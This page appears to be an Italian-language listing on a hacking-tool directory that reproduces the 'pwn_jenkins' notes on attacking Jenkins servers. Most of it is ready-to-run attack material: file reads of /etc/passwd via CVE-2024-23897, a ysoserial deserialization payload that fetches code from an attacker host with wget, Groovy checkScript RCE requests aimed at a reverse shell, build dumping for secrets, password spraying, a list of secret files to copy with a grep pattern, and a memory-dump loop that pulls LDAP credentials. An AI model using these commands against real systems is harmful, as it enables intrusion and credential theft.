Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pwn_jenkins — Note sull'attacco ai server Jenkins | Kitploit
Strumenti/GitHubGitHub/gquere/pwn_jenkins
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitPenetration TestingRilevamento SegretiSviluppo Payload
GitHubgquere/pwn_jenkins

pwn_jenkins

Note sull'attacco ai server Jenkins

2.1k326222 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Esecuzione di codice remoto

Lettura arbitraria tramite Jenkins CLI (la CVE-2024-23897 si applica alle versioni precedenti alla 2.442 e alla LTS 2.426.3)

Avviso Jenkins, Crediti

Con autenticazione, è possibile recuperare un file completo:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Senza autenticazione o senza permessi Global/Read, è possibile leggere solo 3 righe: Leggi la prima riga:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Leggi la seconda riga:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Leggi la terza riga:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

Come forzare la chiave di cifratura delle credenziali.

RCE da deserializzazione in vecchie versioni di Jenkins (CVE-2015-8103, Jenkins 1.638 e precedenti)

Usa ysoserial per generare un payload. Poi esegui la RCE usando questo script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Bypass dell'autenticazione/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Avviso Jenkins

Dettagli qui.

Se Jenkins richiede l'autenticazione ma restituisce dati validi usando la seguente richiesta, è vulnerabile:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE tramite metaprogrammazione nei plugin Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Avviso Jenkins

Vulnerabilità RCE originale qui, exploit completo qui.

RCE alternativa con permessi Overall/Read e Job/Configure qui.

RCE CheckScript in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Avviso Jenkins, Crediti.

Verifica se un'istanza Jenkins è vulnerabile (richiede i permessi Overall/Read) con un po' di Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Nota: se ricevi un errore 403 relativo a un crumb mancante (che è una protezione CSRF in Jenkins), potresti riuscire a ottenere il valore del crumb con una richiesta GET a https://example.com/crumbIssuer/api/json. Il valore del crumb deve poi essere aggiunto alla richiesta POST in un header Jenkins-Crumb.

Esegui comandi bash arbitrari:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Se non ottieni subito una reverse shell, puoi eseguire il debug lanciando un'eccezione:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE nel plugin Git (<3.12.0) in Jenkins (CVE-2019-10392)

Avviso Jenkins, Crediti.

Questa funziona solo se un utente ha i diritti 'Jobs/Configure' nella matrice di sicurezza, quindi è molto specifica.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Avviso Jenkins, Crediti

Nota che questo è sfruttabile solo se si utilizza un Update Center dedicato e non aggiornato. Pertanto la maggior parte dei server non è vulnerabile.

Dump delle build per trovare segreti in chiaro

Usa questo script per eseguire il dump degli output della console di build e delle variabili d'ambiente delle build, sperando di trovare segreti in chiaro.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Spraying di password

Usa questo script Python o questo script PowerShell.

File da copiare dopo una compromissione

Questi file sono necessari per decifrare i segreti di Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

Tali segreti si trovano solitamente in:

  • credentials.xml
  • jobs/.../build.xml

Ecco una regexp per trovarli:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Dump delle credenziali LDAP su una macchina compromessa

Se Jenkins è configurato per verificare le credenziali utente inoltrandole a un LDAP (il che è assurdo, ma è una vulnerabilità comune nelle aziende), è possibile recuperare queste credenziali utente in chiaro facendo il dump della memoria del processo Java. Supponendo che il PID del server Jenkins sia 7, il seguente ciclo eseguirà un dump della memoria dello stack ogni 30 secondi:

head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

Un piccolo ritardo è importante perché il garbage collector libera regolarmente le strutture delle credenziali.

Scarica lo strumento